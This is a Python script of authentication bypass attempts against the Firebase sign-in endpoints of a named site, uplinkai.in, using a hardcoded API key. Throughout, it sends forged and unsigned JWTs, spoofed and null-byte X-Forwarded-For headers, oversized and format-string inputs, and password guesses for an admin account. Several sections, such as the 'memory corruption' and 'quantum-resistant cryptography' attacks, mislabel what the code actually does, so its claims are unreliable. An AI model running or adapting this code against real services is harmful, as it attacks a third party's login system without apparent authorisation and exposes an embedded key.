import requests
import json
import time
import base64
import hashlib
import hmac
import random
import string
from urllib.parse import quote, unquote

# Next-level advanced authentication bypass techniques
def test_next_level_bypass():
    print("=== NEXT-LEVEL ADVANCED AUTHENTICATION BYPASS TECHNIQUES ===")
    
    auth_url = "https://uplinkai.in/auth"
    api_key = "AIzaSyA0grBMnQ2VnDKD-Q8QFkA7cirthBYcmFY"
    firebase_api_base = "https://identitytoolkit.googleapis.com/v1"
    
    print("1. Testing Advanced Cryptographic Attacks...")
    
    # Test cryptographic bypass attempts
    crypto_attacks = [
        # Test with malformed JWT headers
        {"idToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.fake"},
        # Test with algorithm confusion
        {"idToken": "eyJhbGciOiJOQTI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.fake"},
        # Test with empty signature
        {"idToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ."},
        # Test with extremely long tokens
        {"idToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." + "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ." * 100 + ".fake"},
    ]
    
    for attack in crypto_attacks:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:lookup?key={api_key}", 
                                   json=attack, timeout=10)
            print(f"Crypto attack: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  CRYPTO ATTACK SUCCESS!")
        except Exception as e:
            print(f"Crypto attack error: {e}")
    
    print("\n2. Testing Advanced Header Injection...")
    
    # Test advanced header manipulation
    advanced_headers = [
        # Test with duplicate headers
        {"X-Forwarded-For": ["127.0.0.1", "192.168.1.1"]},
        # Test with encoded headers
        {"X-Forwarded-For": "%31%32%37%2E%30%2E%30%2E%31"},
        # Test with Unicode headers
        {"X-Forwarded-For": "127.0.0.1\u0000"},
        # Test with extremely long headers
        {"X-Forwarded-For": "127.0.0.1" + "A" * 10000},
        # Test with null byte injection
        {"X-Forwarded-For": "127.0.0.1\x00admin"},
    ]
    
    for headers in advanced_headers:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json={"email": "admin@uplinkai.in", "password": "admin123"},
                                   headers=headers, timeout=10)
            print(f"Advanced header: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  ADVANCED HEADER SUCCESS!")
        except Exception as e:
            print(f"Advanced header error: {e}")
    
    print("\n3. Testing Memory Corruption Attempts...")
    
    # Test with memory corruption patterns
    corruption_payloads = [
        # Test with format string attacks
        {"email": "%x%x%x%x%x%x", "password": "admin123"},
        # Test with heap spray patterns
        {"email": "A" * 1000000, "password": "admin123"},
        # Test with stack overflow patterns
        {"email": "admin@uplinkai.in", "password": "B" * 1000000},
        # Test with null pointer dereference patterns
        {"email": "\x00" * 1000, "password": "admin123"},
    ]
    
    for payload in corruption_payloads:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=payload, timeout=15)
            print(f"Memory corruption: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  MEMORY CORRUPTION SUCCESS!")
        except Exception as e:
            print(f"Memory corruption error: {e}")
    
    print("\n4. Testing Advanced Timing and Side-Channel Attacks...")
    
    # Test for timing-based vulnerabilities
    timing_tests = []
    for i in range(10):
        start_time = time.time()
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json={"email": "admin@uplinkai.in", "password": f"wrong{i}"},
                                   timeout=10)
            end_time = time.time()
            duration = end_time - start_time
            timing_tests.append(duration)
            print(f"Timing test {i}: {response.status_code} ({duration:.3f}s)")
        except Exception as e:
            print(f"Timing test {i} error: {e}")
    
    # Check for timing differences
    if timing_tests:
        avg_time = sum(timing_tests) / len(timing_tests)
        max_time = max(timing_tests)
        min_time = min(timing_tests)
        variance = max_time - min_time
        print(f"Timing analysis: avg={avg_time:.3f}s, variance={variance:.3f}s")
        if variance > 0.5:
            print(f"  ⚠️  POTENTIAL TIMING ATTACK VULNERABILITY!")
    
    print("\n5. Testing Quantum-Resistant Cryptography Attacks...")
    
    # Test with quantum-resistant attack patterns
    quantum_attacks = [
        # Test with extremely large numbers
        {"email": "admin@uplinkai.in", "password": str(2**1000)},
        # Test with mathematical constants
        {"email": "admin@uplinkai.in", "password": str(3.14159265359 * 2**512)},
        # Test with prime numbers
        {"email": "admin@uplinkai.in", "password": str(2**127 - 1)},
    ]
    
    for attack in quantum_attacks:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=attack, timeout=10)
            print(f"Quantum attack: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  QUANTUM ATTACK SUCCESS!")
        except Exception as e:
            print(f"Quantum attack error: {e}")

if __name__ == "__main__":
    test_next_level_bypass()
